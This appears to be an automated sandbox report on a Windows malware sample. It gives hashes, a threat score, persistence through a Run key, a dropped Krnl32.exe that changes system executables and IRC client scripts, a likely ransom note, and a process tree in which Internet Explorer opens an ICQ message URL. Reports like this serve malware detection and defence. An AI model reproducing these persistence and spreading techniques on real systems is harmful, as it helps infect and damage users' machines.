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Analysis
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max time kernel
141s -
max time network
143s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
09/04/2024, 21:59
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
2dfc420e8e2ded37e48e0b1e27428012.exe
Resource
win7-20240215-en
windows7-x64
11 signatures
150 seconds
Behavioral task
behavioral2
Sample
2dfc420e8e2ded37e48e0b1e27428012.exe
Resource
win10v2004-20240226-en
windows10-2004-x64
14 signatures
150 seconds
General
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Target
2dfc420e8e2ded37e48e0b1e27428012.exe
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Size
26KB
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MD5
2dfc420e8e2ded37e48e0b1e27428012
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SHA1
2f7f8b15c3df79d18e5eebcca9890ffa8b366177
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SHA256
7823df0cb61d8b5f63d1be188766fcfe1c78823917e2ff1b850a8b069ce55c8b
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SHA512
7dabf4e6bf680a98ec4b2537e6855bfd0a1d74968d1ec569d3c42a60c79b65b823922ed53fc5cffa1cd008668091f7dc4971437fd719fc64b40ad870a9d018fe
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SSDEEP
768:qq3G3q83wdv7GLGS1R9TNoINEx9jnhwrF:Jkq83wdv7Gt7
Score
7/10
Malware Config
Signatures
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation 2dfc420e8e2ded37e48e0b1e27428012.exe Key value queried \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation Krnl32.exe -
Executes dropped EXE 1 IoCs
pid Process 2980 Krnl32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\WinKernel = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2dfc420e8e2ded37e48e0b1e27428012.exe" 2dfc420e8e2ded37e48e0b1e27428012.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\WinKernel = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Krnl32.exe" Krnl32.exe -
Drops file in System32 directory 64 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\eventcreate.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\cmd.exe Krnl32.exe File created C:\Windows\SysWOW64\cscript.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\agentactivationruntimestarter.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\attrib.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\BackgroundTransferHost.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\dllhst3g.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\auditpol.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\cmdl32.exe Krnl32.exe File created C:\Windows\SysWOW64\control.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\CheckNetIsolation.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\cliconfg.exe Krnl32.exe File created C:\Windows\SysWOW64\dialer.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\fontdrvhost.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\certutil.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\CredentialUIBroker.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\diskpart.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\eventvwr.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\finger.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\CameraSettingsUIHost.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\cscript.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\cttune.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\dpnsvr.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\findstr.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\certreq.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\choice.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\dpapimig.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\DWWIN.EXE Krnl32.exe File opened for modification C:\Windows\SysWOW64\EaseOfAccessDialog.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\convert.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\dxdiag.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\extrac32.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\autoconv.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\backgroundTaskHost.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\bthudtask.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\chkdsk.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\dllhost.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\dplaysvr.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\efsui.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\Fondue.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\regedit.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\calc.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\clip.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\dfrgui.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\ctfmon.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\curl.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\eudcedit.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\at.exe Krnl32.exe File created C:\Windows\SysWOW64\certreq.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\EhStorAuthn.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\esentutl.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\DevicePairingWizard.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\AtBroker.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\ByteCodeGenerator.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\CloudNotifications.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\Com\comrepl.exe Krnl32.exe File created C:\Windows\SysWOW64\certutil.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\cleanmgr.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\Com\MigRegDB.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\driverquery.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\explorer.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\CertEnrollCtrl.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\cmmon32.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\credwiz.exe Krnl32.exe -
Drops file in Program Files directory 4 IoCs
description ioc Process File opened for modification C:\Program Files\mirc\script.ini Krnl32.exe File opened for modification C:\Program Files\mirc\ \.dcc send $nick Krnl32.exe File opened for modification C:\Program Files\pirch98\pirch98.ini Krnl32.exe File opened for modification C:\Program Files\pirch98\events.ini Krnl32.exe -
Drops file in Windows directory 44 IoCs
description ioc Process File opened for modification C:\Windows\SystemApps\Microsoft.ECApp_8wekyb3d8bbwe\Microsoft.ECApp.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.CallingShellApp_cw5n1h2txyewy\CallingShellApp.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.FilePicker_cw5n1h2txyewy\FilePicker.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.FileExplorer_cw5n1h2txyewy\FileExplorer.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy\PeopleExperienceHost.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\ScreenClipping\ScreenClippingHost.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Microsoft.AAD.BrokerPlugin.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.LockApp_cw5n1h2txyewy\LockApp.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\AssignedAccessLockApp.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.AddSuggestedFoldersToLibraryDialog_cw5n1h2txyewy\AddSuggestedFoldersToLibraryDialog.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy\CHXSmartScreen.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy\XGpuEjectDialog.exe Krnl32.exe File opened for modification C:\Windows\Boot\PCAT\memtest.exe Krnl32.exe File opened for modification C:\Windows\splwow64.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.AccountsControl_cw5n1h2txyewy\AccountsControlHost.exe Krnl32.exe File opened for modification C:\Windows\sysmon.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.AsyncTextService_8wekyb3d8bbwe\Microsoft.AsyncTextService.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Win32WebViewHost_cw5n1h2txyewy\Win32WebViewHost.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\microsoft.windows.narratorquickstart_8wekyb3d8bbwe\NarratorQuickStart.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\OOBENetworkCaptivePortal.exe Krnl32.exe File opened for modification C:\Windows\HelpPane.exe Krnl32.exe File opened for modification C:\Windows\hh.exe Krnl32.exe File opened for modification C:\Windows\Speech\Common\sapisvr.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\OOBENetworkConnectionFlow.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\XBox.TCUI.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Windows.CBSPreview_cw5n1h2txyewy\CameraBarcodeScannerPreview.exe Krnl32.exe File opened for modification C:\Windows\bfsvc.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\microsoft.creddialoghost_cw5n1h2txyewy\CredDialogHost.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy\PinningConfirmationDialog.exe Krnl32.exe File opened for modification C:\Windows\notepad.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.AppResolverUX_cw5n1h2txyewy\AppResolverUX.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\CapturePicker.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.BioEnrollment_cw5n1h2txyewy\BioEnrollmentHost.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\ParentalControls_cw5n1h2txyewy\WpcUapApp.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\SecureAssessmentBrowser.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\MicrosoftWindows.UndockedDevKit_cw5n1h2txyewy\UndockedDevKit.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\NcsiUwpApp_8wekyb3d8bbwe\NcsiUwpApp.exe Krnl32.exe File opened for modification C:\Windows\explorer.exe Krnl32.exe File created C:\Windows\hh.exe Krnl32.exe File opened for modification C:\Windows\servicing\TrustedInstaller.exe Krnl32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31099593" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Software\Microsoft\Internet Explorer\Main Iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 Iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\"" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ Iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31099593" Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion Iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d0fae389c98ada01 Iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50" Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2278995978" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2277457572" Iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c044e689c98ada01 Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Software\Microsoft\Internet Explorer\GPU IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200" Iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000c0da766f7a4aa440a3269a9745c8e181000000000200000000001066000000010000200000000c6ecdc65c61b9a37e47ea31a4cbf49d7968ec35880c54df28f310dd3480c759000000000e80000000020000200000005151a6ffcf4de55d1690f5bcf16f4f624f660a0b44dc6f58280fb186c2eb2bd820000000f1912179da4eebc5fb42c69d1caa6671f043a0986d5e4ec12a251600b23ba1db400000004982a213d9c01fe6e55fbbc2825d5bce3e926c2d3b401abc7ac0e72965aa13feb4416572cae46c389cf6a936c4308d708980e4de56ebc44fb6c89c5c14c87aa6 Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "419465056" Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "2277457572" Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Software\Microsoft\Internet Explorer\DomainSuggestion Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31099593" Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Software\Microsoft\Internet Explorer\IESettingSync IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Software\Microsoft\Internet Explorer\VersionManager Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" Iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000c0da766f7a4aa440a3269a9745c8e18100000000020000000000106600000001000020000000f2bee6aae7c47780503843a30971269041a359067618bb2dc2c34acc3f1e3414000000000e800000000200002000000088f50d416f7773d175438562f114645e5d8f59fe911b5e9e813c945e3afdd3222000000012cd458d6b85118ce7b8e72816de74927e6e59e6039fa695121ed050b7b09184400000008defa466720c0510b41c6b0ac7b16e5500000ff558688306670b83c078a1632e2e0ce706754ecad522d21015cf74e60d7f3a4c04b9a768a850e6953ee6378c35 Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{B35915CC-F6BC-11EE-ABF1-4A48D699C5C8} = "0" Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery Iexplore.exe -
Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000_Classes\Local Settings 2dfc420e8e2ded37e48e0b1e27428012.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3270530367-132075249-2153716227-1000\{AA7AB1C4-207C-481C-B61F-9F43999A9BE1} IEXPLORE.EXE -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 5004 NOTEPAD.EXE -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeShutdownPrivilege 2540 IEXPLORE.EXE Token: SeCreatePagefilePrivilege 2540 IEXPLORE.EXE Token: SeShutdownPrivilege 2540 IEXPLORE.EXE Token: SeCreatePagefilePrivilege 2540 IEXPLORE.EXE Token: SeShutdownPrivilege 2540 IEXPLORE.EXE Token: SeCreatePagefilePrivilege 2540 IEXPLORE.EXE Token: SeShutdownPrivilege 2540 IEXPLORE.EXE Token: SeCreatePagefilePrivilege 2540 IEXPLORE.EXE Token: SeShutdownPrivilege 2540 IEXPLORE.EXE Token: SeCreatePagefilePrivilege 2540 IEXPLORE.EXE Token: SeShutdownPrivilege 2540 IEXPLORE.EXE Token: SeCreatePagefilePrivilege 2540 IEXPLORE.EXE Token: SeShutdownPrivilege 2540 IEXPLORE.EXE Token: SeCreatePagefilePrivilege 2540 IEXPLORE.EXE Token: SeShutdownPrivilege 2540 IEXPLORE.EXE Token: SeCreatePagefilePrivilege 2540 IEXPLORE.EXE Token: SeShutdownPrivilege 2540 IEXPLORE.EXE Token: SeCreatePagefilePrivilege 2540 IEXPLORE.EXE -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1344 Iexplore.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1344 Iexplore.exe 1344 Iexplore.exe 2540 IEXPLORE.EXE 2540 IEXPLORE.EXE 2540 IEXPLORE.EXE 2540 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 4880 wrote to memory of 2980 4880 2dfc420e8e2ded37e48e0b1e27428012.exe 88 PID 4880 wrote to memory of 2980 4880 2dfc420e8e2ded37e48e0b1e27428012.exe 88 PID 4880 wrote to memory of 2980 4880 2dfc420e8e2ded37e48e0b1e27428012.exe 88 PID 4880 wrote to memory of 5004 4880 2dfc420e8e2ded37e48e0b1e27428012.exe 89 PID 4880 wrote to memory of 5004 4880 2dfc420e8e2ded37e48e0b1e27428012.exe 89 PID 4880 wrote to memory of 5004 4880 2dfc420e8e2ded37e48e0b1e27428012.exe 89 PID 2980 wrote to memory of 1344 2980 Krnl32.exe 99 PID 2980 wrote to memory of 1344 2980 Krnl32.exe 99 PID 1344 wrote to memory of 2540 1344 Iexplore.exe 100 PID 1344 wrote to memory of 2540 1344 Iexplore.exe 100 PID 1344 wrote to memory of 2540 1344 Iexplore.exe 100
Processes
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C:\Users\Admin\AppData\Local\Temp\2dfc420e8e2ded37e48e0b1e27428012.exe"C:\Users\Admin\AppData\Local\Temp\2dfc420e8e2ded37e48e0b1e27428012.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4880 -
C:\Users\Admin\AppData\Local\Temp\Krnl32.exe"C:\Users\Admin\AppData\Local\Temp\Krnl32.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2980 -
C:\Program Files\Internet Explorer\Iexplore.exe"C:\Program Files\Internet Explorer\Iexplore.exe" http://wwp.icq.com/scripts/WWPMsg.dll?from=M4TrIx&fromemail=_&subject=MATRIX&body=THE%20MATRIX%20HAS%20COME...&to=90017298%20HTTP/1.03⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1344 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1344 CREDAT:17410 /prefetch:24⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2540
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C:\Windows\SysWOW64\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\HELPME.TXT2⤵
- Opens file in notepad (likely ransom note)
PID:5004
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
Filesize471B
MD5791c953dc08344d984806c877877efa7
SHA1ffedf29a7c11bc153baefae839b4eb0e3df63609
SHA256b4a79c0846bcf023a7b6bda17778e1b431d2ba0cef78cf5caac7161aa74253fa
SHA512d157f9580ffd0a875643225ba70f45da3eee115ccb6828e5faa1d87616c7a324f592c365cee1e00bd00679a84dc6ee7dc8d349288e2cfc4f0c814cfc6ad588b4
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
Filesize404B
MD542601a270af58e0f6d99ff58623b1705
SHA1be2eda514b89db520a9ec4e8e858db783caff50a
SHA256a33c904e02300a625d0186d5c6a3554872414e0133f194ad10e7caa3648a3182
SHA51277f7d6e2776b5f519af0905414dc8579cde246afebcd4644fbae11344b5f86eb7ec27ecc7eee4c1215adaf14a9aa31384f0a5439038e105c4ca9a0a5510d2536
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Filesize
4KB
MD5e82ba0964dbd4ab51d9bbb3de5f345ab
SHA1c50177859371ddef0eafdd562ed11fa5b4b30863
SHA2567a447b3d7ce20d2a37f9102333d43962ab9a45a64dc42a70eaf670bbe8361952
SHA512d414757e267c51304dc56dc7f66c1deb19b0a59808346d433ca1d495d8e473d61b10d3bfd1dcadae0f8ccc5f734bdf4f270f5efe3369511648902d2e6ce4fba3
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Filesize
4KB
MD5e9dbf6c742169ea700f8386bf639911b
SHA12fce93e1b217283c3d7c8ef275748ad69f840815
SHA2563ce3371ecd679c4e218474046aa2a2ab067dbac5370b983aa8e7d91b208d816b
SHA5122809218b84cda633e6c5c2e47d8d65c23c1ea05a88b5ee970c6bc6265223ef6e94f0d30605e1f15601ecdc68700eca299990314468a37109cac87b30c575d234
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Filesize
17KB
MD55a34cb996293fde2cb7a4ac89587393a
SHA13c96c993500690d1a77873cd62bc639b3a10653f
SHA256c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad
SHA512e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee
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Filesize
62KB
MD5d8db562dd4b19b7d1dec71cee88fe513
SHA1f8374927d7205976f2e63cdbe9d482902e203c3b
SHA256f94ad6af48f4c786bf3644818a8926efbe57b12a9379f41b26f31b90ba6de7f0
SHA5120dd3299f8f24ef9b9b838f33dbfe07215e1f460df2c5dfeb2500766449feb7786564b74503f15ecc145bdbaf742e8df9cfc26aadb13385e3a6d0d190a8717e55
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Filesize
67B
MD5057798d389930107a381a2690141ac1d
SHA1e44f1c2475c0f2323507e141dcae53ffef51c624
SHA2565ba8c75f08589b808a6e16225ea565734aeeb23edc40894174d2d135f5e8d3d2
SHA51298b40b6a11027974b482cb645718d34c8ee707ad01d6eba05acbf15a3b8d7c762afc08fef6513623fefe6e297d77a838fbb980d944a4a8e864356dfabac473e2
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Filesize
26KB
MD53a21463b98e0098aca9d476dd45e4109
SHA164e1361e566d25ee3e24849f881577704b273f7d
SHA2569780c1223c1767531e72d80a8eabdd891d8d95aa9de40033af62fd26658f6dd4
SHA512caac7987f5fc90b5af4ee6e377ac978fea64e29fb07bfcc87cc23f9dd24988e15b5db409f7751735950d86780d26b980f428dabd2beed87a4bb1c5c2d28f8dd2
